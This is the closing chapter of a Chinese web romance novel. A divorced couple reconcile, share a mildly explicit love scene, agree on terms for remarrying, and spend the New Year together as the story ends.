难以言喻的一幕,画中的男主角,置身于无数他的画作之中,静静地朝她望去,温夏的神经慢慢蜷缩起来。
静谧的夜晚,无声地对视着。
光线自上而下落在他的脸上,与二十岁左右的他相比,五官没什么变化,只是更加成熟沉稳。
三十一岁的顾衍南,她应该提笔记录下这一年的他。
“不是说困了?怎么不睡?”顾衍南哑声开口。
温夏走过去,反问:“你不是要去处理工作?怎么一个人偷偷喝我的酒?”还都是贵的,他倒是会挑!
待她走近,顾衍南一把拉过她,温夏一惊,下一刻,稳稳当当地坐在他的大腿上。
顾衍南一只手扶着她的腰,另一只手捏着她的下巴,指腹不轻不重地摩挲她的皮肤,一双深眸仿佛能看进她的眼底:“我在想,你那些年,是不是一边念着我,一边跟别的男人亲密。”
“脚踏两只船。”
“……”
她就算踩一百条船也不归他管吧。
温夏嘴唇动了动,她想说“我爱踩哪条踩哪条,你管不着”,可闻着他身上浓郁的酒精味,话就这么咽了下去。
她因为“他觉得她不爱他”感到委屈,但每次他明示暗示问她的心意时,她从不给他正面的回复,总是用针锋相对的对峙回避这个问题,或者干脆否认。
她从没给过他肯定的答案,难怪他会那么想。
温夏忍住想要逃避的冲动,逼着自己看着他的眼睛,一字一顿地道:“没有,我这些年没跟任何男人亲密过。”
“我是想不去想你,想朝前看,可我做不到,每当我决定要开启一段新的感情时,你就会跳出来嘲讽我,你知道吗?你折磨了我整整十年。”
“每当这个时候,我就会特别恨你,恨你为什么可以开启新生活而我只能埋葬在回忆里,更恨我自己,为什么要把你推走……”
说到这里,温夏的声音已经哽咽的不成样子,眼泪控制不住从眼眶滑落。
因为害怕深陷,所以迅速抽身,可即便如此,也已经晚了。
后来因为那十年的恨或是爱,总是言不由衷,导致他们错过了一年又一年。
“只有你一个人受折磨吗?”顾衍南吻去她的眼泪,那眼泪却越吻越多,他的脖子一片湿润,“没有新的感情,我满脑子都是你,怎么开启新的感情?”
有些话平时说不出口,一旦开了口子,就跟泄洪般喷涌而出,说着说着,两个人不知道谁先开始的,开始撕扯对方的衣服,就在她的画室里,那个她独自静坐无数个日夜的画室里,顾衍南把她按在画板前,深深地席卷着她。
雪还在下,这里的雪比北城的还要大,温夏被吻的意乱情迷,迷蒙着双眼看他动情的模样。
顾衍南吻在她的眼皮上,很轻、很温柔,却让她止不住沉沦。
温夏嫌地板硬,跪得她膝盖都青了,回到卧室的床上,陷入柔软的被褥,她双腿夹着他的腰,可身上的男人却突然停了下来。
他故意的吧!温夏咬着唇,双腿用力收紧,双眸仿佛含着一汪春水,嗓音又娇又软:“怎么了?”
顾衍南不紧不慢,捞起手机递到她面前:“看看。”
这个时候让她看看?他还是人吗?!!温夏怒瞪他,顾衍南直接把手机怼到她面前——
原来是那晚他们在车前接吻的那幕被偷拍了,虽然及时控制没有流传太广,但熟悉的人都看到了,他的那几个朋友在群里轮番问他什么时候复婚。
“宝贝儿,”他把她的欲念调到最高点后猛然停下,然后哑着嗓子逼问她,“我们什么时候复婚?”
温夏抿着唇不说话。
他继续调动,在送她到云端的前一刻刹车,追问:“到底什么时候,给我个准话。”
温夏攥着他的衣服,感受它的磨蹭,最后放弃抵抗:“过完年过完年,你快点!”
“过完年才行?”还有半个月才过年呢。
“你别得寸进尺,你给我个缓冲期行吗!”
顾衍南默了几秒,闷声:“那好吧。”他是想明天就飞回国跟她把证领了的。
他这幅极不情愿妥协的态度,好像是她对不起他一样,温夏掐他的腰,怒瞪他,仿佛在质问他:还在磨蹭什么?
“叫声老公吧。”他也难耐,但还不忘占便宜。
温夏被他磨得快崩溃了,哭着喊:“老公。”
那娇滴滴的声音,听得顾衍南骨头酥软,浑身的血液都在沸腾涌动。他得寸进尺:“乖,再喊一声,老公就让你**”-
这一觉,温夏睡到不知天地为何物。
等醒来的时候,已经是下午了,下意识伸手去摸旁边的位置,没人,顾衍南早就去忙工作了。
他是真有精力,昨晚一大半的力都是他在出,第二天还能有力气去公司,不是说三十岁的男人身体状态越来越差吗?他丝毫没有这个趋势。
胡思乱想一会儿,温夏想到昨晚答应他的复婚——
虽说是意乱情迷下的承诺,现在她清醒了,认真想想,并不打算反悔。
他们已经浪费太多的时间。
不过,为了避免往事重演,顾衍南回家后,温夏严肃认真地跟他约法三章。
顾衍南捏她的手指,漫不经心:“三十章都行。”
温夏瞪他:“我在很严肃地跟你说这个话题,你认真一点。”
“我哪有不认真?你说,我听。”
温夏抿抿唇:“第一,不许再用我的家人朋友威胁我。”
“嗯。”
“第二,不许再以为我好的名义背着我做决定。”她指的是林沨和高行舟的事。
“嗯。”
温夏被他敷衍的态度搞得有点生气:“你有没有在听我说话?”
“在听。”顾衍南开诚布公地解释他背地里下黑手的原因:“我以前做那些事,是因为我没有安全感,我觉得你不在意我,会被他们勾引。现在,我知道你心里有我,只有我,我当然没那么闲去管那群路人甲的事。”
温夏眼睫动了动,嘀咕:“你最好说到做到。”
“遵命,”顾衍南亲了亲她的手背,问,“第三章呢?”
话落,他看着女人的表情变得有点扭捏,还刻意不看他,装出一副漫不经心的语气:“第三,你每天都要对我说一遍‘我爱你’,直到你不爱的那天。”
说完,温夏脸“腾地”红了,她悄悄抬眼,观察顾衍南的反应。
男人静静看着她,突然“噗嗤”笑出声。
很愉悦的笑容,笑得有点停不下来。
温夏被他笑得脸更红,蔓延到了脖子,她恼羞成怒,用力掐他的胳膊,结果太硬了,咯的指甲疼,更气了。
“每天?”男人挑眉,“一定要每天都说这么酸的话吗?”
他不算是多爱说甜言蜜语,一口一个“我爱你”的性格,但她更不像能说出“你每天都要对我说一遍‘我爱你’”的人。
“不愿意说算了,”温夏故意道,“放开我,我要去找一个能做到的人当老公。”
再没有“别的男人”这个话题让他动怒,顾衍南不逗她了,在她的唇上亲了亲:“我爱你。”
温夏很高冷地回:“哦,知道了。”
-
陪顾衍南在伦敦待了一个星期,回国后,顾衍南立刻安排搬家的事。
温夏本来打算等复完婚再搬回明湖公馆的,年底了事情正多,顾衍南很急:“我负责收拾东西搬家,不用你操心。”
好像只有她同意搬家才代表她诚心要跟他复婚。
温夏没怎么在意,就说“随便你”。原来想着怎么也要两三天能收拾完,结果当天顾衍南就搬好家了,言言回到熟悉的院子,撒着脚丫子欢快地跑。
“你至于这么急吗?”
顾衍南答非所问:“我爱你。”
“……”温夏看着不远处的张婶,压低声音,“张婶还在呢。”
顾衍南:“这不是你要求我的吗?今天早上你还在睡,怕你没听见。”
“……”
约法三章的那两章她不清楚他是怎么想的,但第三章他是百分百按要求履行,还总是出其不意的。前几天还在伦敦的时候,她陪他出席分公司年会,上台讲话前,他突然凑到她耳边说“我爱你”。
大庭广众之下,旁边的几个外国人肯定听到了,温夏被他弄得面红耳赤的,顾衍南挑眉:“今天还没完成任务呢。”
“……”温夏提醒他,“你早上说过了。”
“是吗,我忘了。”
“……”
温夏知道,她在感情中是很没安全感的性格,她需要他一遍遍帮她确认“他爱她”,说实话,她最初会担心他觉得她的这个要求过于矫情,可他用他的态度表明——每天只说一遍,根本不够。
她有病,他也不正常。
他们天生一对。
回到明湖公馆的第一晚,温夏还以为她会不习惯失眠,可能是前一晚被折腾太久,倒头就睡,根本没有失眠的困扰。
醒来后,她躺在温暖舒适的被窝里看雪,卧室的落地窗比她公寓的要大得多,更适合欣赏雪景,树的枝丫落满松雪。
唯一的美中不足便是顾衍南不在——已经放年假了,他说有紧急的工作要处理,这几天醒来就待在书房,一待待一整天,住在一个屋檐,却只有吃饭睡觉时会在一起。
温夏看着看着有些郁闷,想起床,却不知道这么冷的天起来干什么。正纠结着,门口突然响起顾衍南的声音:“醒了?”
温夏转过身,看着一身家居服的男人,嗯了一声。
“醒了就起来,有东西给你看。”
“……”
什么态度。
也许是太无聊,温夏还是起床了,她故意磨蹭了一会儿才去他的书房:“看什么啊?”
顾衍南没回她,扶着她的肩膀,让她坐在椅子上,温夏“哎”了声:“神神秘秘……”
声音戛然而止,她震惊地看着桌上的画册——
是她在他们离婚那天,崩溃时撕碎的那本画册,无数张碎片,她最后还是一片片捡起来,收进纸盒里。
不知道怎么被他发现了。
用透明胶带一片片拼了起来。
他拼的很认真,只是近看,仍能看出被撕碎的痕迹。
温夏眼睫颤抖,下意识朝他看去,他突然单膝跪了下来。
她呆怔得不知作何反应,而顾衍南已经缓缓开口了,很奇怪,明明求婚的台词他拼图时演练过千百遍,可当看着她的眼睛,那些话全都忘了,每个字都是现场斟酌。
“画册是搬家的时候在你书房发现的,你撕的太碎了,看不出你画的是什么,但我想,应该和我有关,”他的眼睛始终看着她,语调低沉缓慢,“我试着拼凑这些碎片,才发现,居然都是高中时的我……”
又一个秘密被发现了,伦敦画室代表她那十年对他念念不忘,这本画册,记录的是那段她的目光不由自主落在他身上的少女时代。
温夏坐在办公椅上,怔怔地看着他,她的心脏麻麻的,跳的很快。
“如果我现在说我那个时候就喜欢你,你肯定不相信,而我也无法确认那时候的心意,只知道那个时候,或者更早,我每次遇见你都会多看你一眼。”
他们在同一个圈子里,很小的时候就见过,每次见面,她装的很乖,但她眼底的傲慢顾衍南一眼就能看穿,每次从他身边经过,她的背都挺得特别直,头一次见到比他还要傲慢的小姑娘。
那时候年纪太小,不懂这是心动,只记得每次有她出现的场合,他的目光总会不自觉关注她。
“我们婚后的那两年,错过的那十年,或者更早,原本我们早该在一起的,如果我当时坚定一点,多给你几分安全感,让你敞开心扉相信我,我们之间一定不会浪费这么多年。”
“我前段时间跟你说,如果能选择,我选择谁也不爱,现在我改变想法了,我还是选择爱你——没有你的世界,我一个人无悲无喜走过漫长的几十年,未免太无趣。”
不去爱任何人,很安全理智的选择,但如果人生万事万物都是确定的,未免过于乏味。
爱她,让他尝尽七情六欲和酸甜苦辣,她让他辗转反侧,也给了他最甜蜜的回忆。
“婚后那两年,我做了太多的错事,说了太多难听的话,你虽然不说,我知道你肯定伤了心,才会决绝要跟我离婚,连言言都能舍弃——”他看着愣怔的女人,握住她的手,“我会用余生弥补过去的错,不会再让你失望。”
“温夏,再嫁我一次,好不好。”
书房窗外飘着碎雪,温夏迟钝的神经慢慢做出反应,低头看向他手中的戒指——是那枚她还给他的婚戒。
以及另一只手中拿到,那枚翡翠手镯。
在她的注视下,顾衍南先后将戒指和手镯缓缓戴上,仿佛圈住她的余生。
温夏看着左手手腕,忍住想落泪的冲动,嗓音还是哑了:“你这些天说的忙工作就是在忙着拼画?”
“嗯。”她撕的太碎了,可见当时有多崩溃。
温夏吸了吸鼻子,吐槽:“你的求婚太没诚意了,居然就在家里的书房,而且戒指和手镯都是二手货。”
有的时候,他真的很直男。
觉得自己挺浪漫的顾衍南:“……”
他为自己辩解:“你想要大钻戒随时给你买,手镯是我妈妈对儿媳的祝福,戒指是我们缘分的再续。”
温夏只是说说而已:“哦,那好吧,我答应你的求婚。”
“戒指已经戴上了,你不答应也不行。”
“……”温夏恼道,“我可以随时摘下。”
顾衍南的眸子瞬时沉下来:“你摘一个试试?”
“……”
这混蛋刚上位就暴露本性是吧?温夏正欲拿架子,顾衍南一把把她抱起来,扔到卧室的床上,然后——挠她。
温夏又想哭又想笑:“你干什么!”
“还摘不摘?”
“……我随便说说。”
“以后不准随便说这种话。”
温夏推他的手,“知道了知道了。”
混蛋,真是小心眼。
-
新年那天,在顾家老宅吃完晚饭后,两人陪着老爷子看了会儿春晚就回了明湖公馆,在院子里陪言言玩了一会儿,然后抱在一起看春晚。
室外飘雪寒冷,屋内温暖如春,温夏躺在他怀里,舒服得直打瞌睡。
顾衍南有一下没一下地亲她,温夏被撩拨得很快就来了感觉,然后就变成了边接吻边看春晚。
快到零点的时候,顾衍南抱着她到二楼阳台,两人一起看了一场浪漫的烟花秀。
绚烂的烟花转瞬即逝,这是他们一起过的第四个年。
第一年是在十八岁那年,那时候太过年轻,以为这样的美好时刻稀疏平常。
第二年是他们结婚的第一年,那时候他们有太多误会,在各自的卧室看烟花,零点那一刻,在心里默默对彼此说了声新年快乐。
第三年,他们是抱在一起过的,就像现在这样——
只是那时,他们对彼此没有太多的信心,不相信他们能幸运地走到最后。
今年,温夏转头看向抱着他的男人,男人目光温柔缱绻,她对他露出温婉的笑容。
她知道,他们肯定能走到最后。
烟花易逝,但他们的爱不会。
今天从早到晚一直在忙,温夏早就困得迷迷糊糊的,顾衍南把她抱回床,亲了亲她的发顶:“睡吧,晚安。”
“唔……”她往他的怀里缩了缩,困意席卷,濒临入睡点前一刻突然想起什么,立刻戳了戳他的胸膛,声音模糊:“顾衍南,你今天还没有说爱我。”
“早上说过了,你还应了声,不记得了。”
“嗯,不记得了。”
顾衍南垂眸看她这幅眷恋的模样,眉眼笼罩温柔的笑意,在她耳边低声说:“新年快乐,我爱你。”
“哦,知道了,新年快乐。”
习惯性地应了声,她翻过身,在他怀里调整了个舒适的睡姿。
闭上眼,脑海中闪过无数画面,从十多年前开始一幕幕放映,他们有太多太多爱恨纠葛,早已占据彼此大半的生命,无法割舍,也不愿割舍。
莫名的,她想起很久之前的一幕。
从小,她因为生父生母的原因,从未对爱情抱有任何的期待,某个午后,她坐在公园的秋千上看书,书名她记不清了,只记得里面有一句话她记忆犹新。
作者用肯定的口吻写着:“爱之于我,不是肌肤之亲,不是一蔬一饭,它是一种不死的欲望,是疲惫生活中的英雄梦想。”
不死的欲望么。
她嗤之以鼻。
正要翻过这页,光线被突然挡住,她皱眉抬头,撞上了顾衍南低下来的目光。
不死的欲望。
温夏睁开眼,翻了回去。
顾衍南低眸看她,还没来得及问她怎么了。
她忽然搂紧他的脖子,盯着他,声音很轻,一字一顿:“我也爱你。”
——正文完魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m